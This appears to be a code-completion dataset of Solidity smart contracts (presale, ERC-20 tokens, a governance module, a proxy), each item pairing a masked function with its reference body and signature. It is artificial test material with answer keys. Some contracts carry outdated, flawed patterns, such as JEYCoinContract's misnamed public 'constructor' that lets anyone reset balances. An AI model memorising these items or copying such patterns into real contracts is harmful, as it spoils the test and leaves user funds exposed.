contract ProvidencePresale { using SafeMath for uint256; // uint256 durationInMinutes; // address where funds are collected address public wallet; // token address address addressOfTokenUsedAsReward; token tokenReward; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function ProvidencePresale() { // ether address wallet = 0x2F81D169A4A773e614eC6958817Ed76381089615; // durationInMinutes = _durationInMinutes; addressOfTokenUsedAsReward = 0x50584a9bDfAb54B82e620b8a14cC082B07886841; tokenReward = token(addressOfTokenUsedAsReward); startTime = now; // now endTime = startTime + 14*24*60 * 1 minutes; // } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; if(weiAmount < 1 * 10**18) throw; // calculate token amount to be sent uint256 tokens = (weiAmount) * 810; // update state weiRaised = weiRaised.add(weiAmount); tokenReward.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } <FILL_FUNCTION> // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } function withdrawTokens(uint256 _amount) { if(msg.sender!=wallet) throw; tokenReward.transfer(wallet,_amount); } }
// wallet.transfer(msg.value); if (!wallet.send(msg.value)) { throw; }
function forwardFunds() internal
// send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal
68586
Marble
_transfer
contract Marble { // Public variables of the token string public name = "Marble"; string public symbol = "MARBLE"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } /** * Get balance for an address * * Returns the balance of given address * * @param _owner The address to return */ function balanceOf(address _owner) public constant returns (uint256 _balance) { return balanceOf[_owner]; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } }
contract Marble { // Public variables of the token string public name = "Marble"; string public symbol = "MARBLE"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } <FILL_FUNCTION> /** * Get balance for an address * * Returns the balance of given address * * @param _owner The address to return */ function balanceOf(address _owner) public constant returns (uint256 _balance) { return balanceOf[_owner]; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } }
// Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
function _transfer(address _from, address _to, uint _value) internal
/** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal
44520
Bronze_Core_Finance
null
contract Bronze_Core_Finance is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public {<FILL_FUNCTION_BODY> } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
contract Bronze_Core_Finance is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
name = "Bronze Core Finance"; symbol = "BRCO"; decimals = 18; _totalSupply = 80000000000000000000000; balances[msg.sender] = 80000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply);
constructor() public
/** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public
28109
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } }
balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool)
39882
InitializableModule
_oracleHub
contract InitializableModule is InitializableModuleKeys { INexus public nexus; /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { require(msg.sender == _governor(), "Only governor can execute"); _; } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Modifier to allow function calls only from the ProxyAdmin. */ modifier onlyProxyAdmin() { require( msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute" ); _; } /** * @dev Modifier to allow function calls only from the Manager. */ modifier onlyManager() { require(msg.sender == _manager(), "Only manager can execute"); _; } /** * @dev Initialization function for upgradable proxy contracts * @param _nexus Nexus contract address */ function _initialize(address _nexus) internal { require(_nexus != address(0), "Nexus address is zero"); nexus = INexus(_nexus); InitializableModuleKeys._initialize(); } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) { return nexus.governor(); } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return Staking Module address from the Nexus * @return Address of the Staking Module contract */ function _staking() internal view returns (address) { return nexus.getModule(KEY_STAKING); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } /** * @dev Return MetaToken Module address from the Nexus * @return Address of the MetaToken Module contract */ function _metaToken() internal view returns (address) { return nexus.getModule(KEY_META_TOKEN); } /** * @dev Return OracleHub Module address from the Nexus * @return Address of the OracleHub Module contract */ function _oracleHub() internal view returns (address) {<FILL_FUNCTION_BODY> } /** * @dev Return Manager Module address from the Nexus * @return Address of the Manager Module contract */ function _manager() internal view returns (address) { return nexus.getModule(KEY_MANAGER); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } }
contract InitializableModule is InitializableModuleKeys { INexus public nexus; /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { require(msg.sender == _governor(), "Only governor can execute"); _; } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Modifier to allow function calls only from the ProxyAdmin. */ modifier onlyProxyAdmin() { require( msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute" ); _; } /** * @dev Modifier to allow function calls only from the Manager. */ modifier onlyManager() { require(msg.sender == _manager(), "Only manager can execute"); _; } /** * @dev Initialization function for upgradable proxy contracts * @param _nexus Nexus contract address */ function _initialize(address _nexus) internal { require(_nexus != address(0), "Nexus address is zero"); nexus = INexus(_nexus); InitializableModuleKeys._initialize(); } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) { return nexus.governor(); } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return Staking Module address from the Nexus * @return Address of the Staking Module contract */ function _staking() internal view returns (address) { return nexus.getModule(KEY_STAKING); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } /** * @dev Return MetaToken Module address from the Nexus * @return Address of the MetaToken Module contract */ function _metaToken() internal view returns (address) { return nexus.getModule(KEY_META_TOKEN); } <FILL_FUNCTION> /** * @dev Return Manager Module address from the Nexus * @return Address of the Manager Module contract */ function _manager() internal view returns (address) { return nexus.getModule(KEY_MANAGER); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } }
return nexus.getModule(KEY_ORACLE_HUB);
function _oracleHub() internal view returns (address)
/** * @dev Return OracleHub Module address from the Nexus * @return Address of the OracleHub Module contract */ function _oracleHub() internal view returns (address)
78589
DepositProxy
contract DepositProxy { address payable public account; address payable public paymentManager; constructor (address payable _account, address payable _paymentManager) public { account = _account; paymentManager = _paymentManager; } function () payable external {<FILL_FUNCTION_BODY> } }
contract DepositProxy { address payable public account; address payable public paymentManager; constructor (address payable _account, address payable _paymentManager) public { account = _account; paymentManager = _paymentManager; } <FILL_FUNCTION> }
address(account).transfer(msg.value); bytes memory empty; AbstractAccount(account).executeTransaction(paymentManager, msg.value, empty);
function () payable external
function () payable external
44268
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true;
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
8756
BTSToken
allowance
contract BTSToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BTS"; name = "BTS Token"; decimals = 2; _totalSupply = 100000000000; balances[0x623bfbC673447C41a3c5a0312992e73EE6812cC8] = _totalSupply; emit Transfer(address(0), 0x623bfbC673447C41a3c5a0312992e73EE6812cC8, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract BTSToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BTS"; name = "BTS Token"; decimals = 2; _totalSupply = 100000000000; balances[0x623bfbC673447C41a3c5a0312992e73EE6812cC8] = _totalSupply; emit Transfer(address(0), 0x623bfbC673447C41a3c5a0312992e73EE6812cC8, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
return allowed[tokenOwner][spender];
function allowance(address tokenOwner, address spender) public constant returns (uint remaining)
// ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining)
72288
BatchTransfer
batchTransfer
contract BatchTransfer { /// @notice Tokens on the given ERC-721 contract are transferred from you to a recipient. /// Don't forget to execute setApprovalForAll first to authorize this contract. /// @param tokenContract An ERC-721 contract /// @param recipient Who gets the tokens? /// @param tokenIds Which token IDs are transferred? function batchTransfer(ERC721Partial tokenContract, address recipient, uint256[] calldata tokenIds) external {<FILL_FUNCTION_BODY> } }
contract BatchTransfer { <FILL_FUNCTION> }
for (uint256 index; index < tokenIds.length; index++) { tokenContract.transferFrom(msg.sender, recipient, tokenIds[index]); }
function batchTransfer(ERC721Partial tokenContract, address recipient, uint256[] calldata tokenIds) external
/// @notice Tokens on the given ERC-721 contract are transferred from you to a recipient. /// Don't forget to execute setApprovalForAll first to authorize this contract. /// @param tokenContract An ERC-721 contract /// @param recipient Who gets the tokens? /// @param tokenIds Which token IDs are transferred? function batchTransfer(ERC721Partial tokenContract, address recipient, uint256[] calldata tokenIds) external
29719
Multivest
setAllowedMultivest
contract Multivest is Ownable { using SafeMath for uint256; /* public variables */ mapping (address => bool) public allowedMultivests; /* events */ event MultivestSet(address multivest); event MultivestUnset(address multivest); event Contribution(address holder, uint256 value, uint256 tokens); modifier onlyAllowedMultivests(address _addresss) { require(allowedMultivests[_addresss] == true); _; } /* constructor */ function Multivest() public {} function setAllowedMultivest(address _address) public onlyOwner {<FILL_FUNCTION_BODY> } function unsetAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = false; MultivestUnset(_address); } function multivestBuy(address _address, uint256 _value) public onlyAllowedMultivests(msg.sender) { require(buy(_address, _value) == true); } function multivestBuy( address _address, uint8 _v, bytes32 _r, bytes32 _s ) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s)) { require(_address == msg.sender && buy(msg.sender, msg.value) == true); } function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) { bytes memory prefix = '\x19Ethereum Signed Message:\n32'; return ecrecover(keccak256(prefix, _hash), _v, _r, _s); } function buy(address _address, uint256 _value) internal returns (bool); }
contract Multivest is Ownable { using SafeMath for uint256; /* public variables */ mapping (address => bool) public allowedMultivests; /* events */ event MultivestSet(address multivest); event MultivestUnset(address multivest); event Contribution(address holder, uint256 value, uint256 tokens); modifier onlyAllowedMultivests(address _addresss) { require(allowedMultivests[_addresss] == true); _; } /* constructor */ function Multivest() public {} <FILL_FUNCTION> function unsetAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = false; MultivestUnset(_address); } function multivestBuy(address _address, uint256 _value) public onlyAllowedMultivests(msg.sender) { require(buy(_address, _value) == true); } function multivestBuy( address _address, uint8 _v, bytes32 _r, bytes32 _s ) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s)) { require(_address == msg.sender && buy(msg.sender, msg.value) == true); } function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) { bytes memory prefix = '\x19Ethereum Signed Message:\n32'; return ecrecover(keccak256(prefix, _hash), _v, _r, _s); } function buy(address _address, uint256 _value) internal returns (bool); }
allowedMultivests[_address] = true; MultivestSet(_address);
function setAllowedMultivest(address _address) public onlyOwner
function setAllowedMultivest(address _address) public onlyOwner
45412
JEYCoinContract
approve
contract JEYCoinContract is JEY{ uint256 constant MAX_UINT256 = 2**256 - 1; string public name; uint8 public decimals; string public symbol; function JEY( ) public { totalSupply = 700000000; //ROY totalSupply balances[msg.sender] = totalSupply; //Allocate ROY to contract deployer name = "JEY"; decimals = 8; //Amount of decimals for display purposes symbol = "JEY"; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }
contract JEYCoinContract is JEY{ uint256 constant MAX_UINT256 = 2**256 - 1; string public name; uint8 public decimals; string public symbol; function JEY( ) public { totalSupply = 700000000; //ROY totalSupply balances[msg.sender] = totalSupply; //Allocate ROY to contract deployer name = "JEY"; decimals = 8; //Amount of decimals for display purposes symbol = "JEY"; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) public returns (bool success)
function approve(address _spender, uint256 _value) public returns (bool success)
51327
MultiTransfer
multiTransferToken
